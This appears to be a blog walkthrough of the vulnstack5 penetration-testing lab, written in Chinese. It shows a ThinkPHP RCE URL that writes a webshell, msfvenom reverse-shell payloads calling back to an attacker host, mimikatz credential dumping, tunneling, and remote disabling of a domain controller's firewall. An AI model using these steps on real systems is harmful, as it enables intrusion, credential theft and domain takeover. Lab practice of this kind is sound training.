7

vulnstack5 | Sn1pEr's blog

 2 years ago
source link: https://sn1per-ssd.github.io/2021/10/20/vulnstack5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

打了个红日的靶场,相对来说比较小,不过麻雀虽小五脏俱全,还是学到了很多东西的,记录一下

vulnstack 5

nat模式模拟外网,主机模式模拟内网,NAT模式改为192.168.135.0,主机模式改为192.168.138.0

![](G:/blog/vulnstack5 靶场/image-20211020141932.png)

win7 须登录后在C:\phpstudy下开启phpstudy,

kali IP为192.168.135.128,win7 IP为192.168.135.150, win server IP为192.168.138.138

账号密码分别为:

SUN\leo:123.com

SUN\Administrator:dc123.com

最好上去改一下密码

getshell

发现是thinkphp框架,构造一个404页面,发现是5.0.22版本:

![](G:/blog/vulnstack5 靶场/image-20211020140721.png)

找到网上的exp,直接利用:

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=一句话木马

写入一句话木马shell.php,蚁剑连接,开始信息收集

发现双网卡及域:

![](G:/blog/vulnstack5 靶场/image-20211020141629.png)

判断存在域环境,利用ipconfig /all确定域控IP为192.168.138.138(DNS服务器即域控)

msf上线

打开kali,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=2333 -f exe -o re.exe,将生成的exe利用蚁剑上传至win7,并利用蚁剑执行。

kali输入msfconsole,进入msf,输入

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.135.128
set LPORT 2333
run

![](G:/blog/vulnstack5 靶场/image-20211020143329.png)

这里我用的是frp。

frpc.exe和frpc.ini传至win7。

frps和frps.ini放在kali。

配置如下(记得删除#和后面的注释):

frpc.ini:

[common]
server_addr = 192.168.135.128
server_port = 10002 #服务器监听端口
token = 123456 #token,打靶场可要可不要

[socks5]
type = tcp
remote_port = 10001 #代理端口
plugin = socks5 #开启socks5插件

frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 10002
token = 123456
dashboard_port = 10000 #图形化面板的端口,访问127.0.0.1:10000可以看到代理数量,可不要
dashboard_user = admin
dashboard_pwd = admin

上传后,先运行frps,在运行frpc。

frps -c frps.inifrpc.exe -c frpc.ini

成功后如下图:

![](G:/blog/vulnstack5 靶场/iamge-20211020144302.png)

(吐槽一句,frp想搞反向代理太麻烦了,增加或减少代理数量还得先kill掉之前的代理、改配置、重新起代理,或许跟我用的不熟练也有关系)

使用proxychains。

sudo apt-get install proxychains4
sudo vim /etc/proxychains.conf
  1. 去掉dynamic_chain前面的注释
  2. 在最下面的proxylist中加入socks5 127.0.0.1 10001

之后即可用proxychains进行代理。

除了frp的面板能验证代理成功以外,还可以用proxy switch omega,如果挂上代理访问127.0.0.1能访问到thinkphp则成功。

msf,getsystem

![](G:/blog/vulnstack5 靶场/image-20211020144820.png)

利用msf加载mimikatz

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

这里要注意,由于win7为64位系统,此时直接用mimikatz会提示ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process,所以需要进行进程迁移

先利用ps,查看进程,找到一个system权限,且为64位的进程,利用migrate xxx(进程的PID)进行迁移,之后就和上面说的一样了。

结果如下:

![](G:/blog/vulnstack5 靶场/image-20211020145955.png)

![](G:/blog/vulnstack5 靶场/image-20211020150051.png)

这样就获取到了域管理员的账户和密码

首先利用run get_local_subnets查看网段,如果我们不添加网段路由的话,是探测不到这两个网段其他主机的。

下面是用法:

#在全局给指定的session增删路由

route add 192.168.11.0 255.255.255.0 1 #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0 255.255.255.0 1 #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0 0.0.0.0 1 #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由
route print #打印路由信息


#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24 #添加到达192.168.11.0网段的路由
run autoroute -s 192.168.12.0/24 #添加到达192.168.12.0网段的路由
run autoroute -s 0.0.0.0/0 #添加到达0.0.0.0/0的路由

run autoroute -p #打印路由信息

在这里,我们直接run autoroute -s 192.168.138.0/24即可

探测端口存活

新开一个控制台,利用代理新开一个msfconsole,搜索portscan,得到许多端口扫描模块:

![](G:/blog/vulnstack5 靶场/image-20211020150945.png)

想用哪个就用use x命令,利用options查看有哪些是需要我们设置的值,这里我用的是tcp扫描,如下:

![](G:/blog/vulnstack5 靶场/image-20211020153017.png)

设置RHOSTS 为192.68.138.138,需要的话也可以自己设置PORTS(最好设置一下,不然扫描太慢了)

当socket出现timeout的时候,说明端口未开放,区别如图:

![](G:/blog/vulnstack5 靶场/image-20211020152330.png)

扫完之后,发现445端口和139端口开放,怀疑开启了SMB。于是直接用ms17_010和psexec打了一下,发现psexec成功了但没有创建session,怀疑存在防火墙。于是决定利用win7建立IPC$连接来关闭防火墙。

在meterpreter界面执行shell,进入shell页面。且利用chcp 65001解决乱码问题cmd

![](G:/blog/vulnstack5 靶场/image-20211020154528.png)

之后利用net use建立连接

net use \\192.168.138.138\ipc$ "hongrisec@2021" /user:"sun\administrator"

之后利用sc命令创建任务:

sc \\192.168.138.138 create downfirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start downfirewall

之后用代理的msf进行攻击即可。

注意,我这里并没有使用反弹shell,而是利用的正向连接,反弹shell需要端口转发,frp的端口转发需要将frps放在win7上,frpc放在kali中,配置和之前差不多,只有去掉socks5插件就行。我感觉太麻烦我就没搞,感兴趣的可以尝试一番

![](G:/blog/vulnstack5 靶场/image-20211020155513.png)

至此,成功拿下域控。

其实拿下域控的方法应该不止这一种,包括哈希传递等方法,我就不一一列举了,而且我还有很多操作没做,比如维持权限、入侵痕迹清楚等等,能学到的东西还有很多。

这个靶场对新手还是非常友好的,体积也比较小只有12G,浏览器+kali+win7+winserver占用率才到64%,上次的vulnstack1,多了个虚拟机,我的电脑直接飙到90%左右,每天都在担心他会不会跑着跑着挂掉

  1. 我们可以利用msf的post/windows/manage/enable_rdp模块开启rdp服务。而且在获得session后我们只需要设置session即可。

kali,利用proxychains rdestop 192.168.138.138即可进行登录

  1. meterpreter可以上传文件,命令为 upload /home/kali/a.txt一般来说上传后的目录要么是getshell的目录,要么是c:\system32

参考文章:vulnstack靶机(5)_ximo的博客-CSDN博客


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK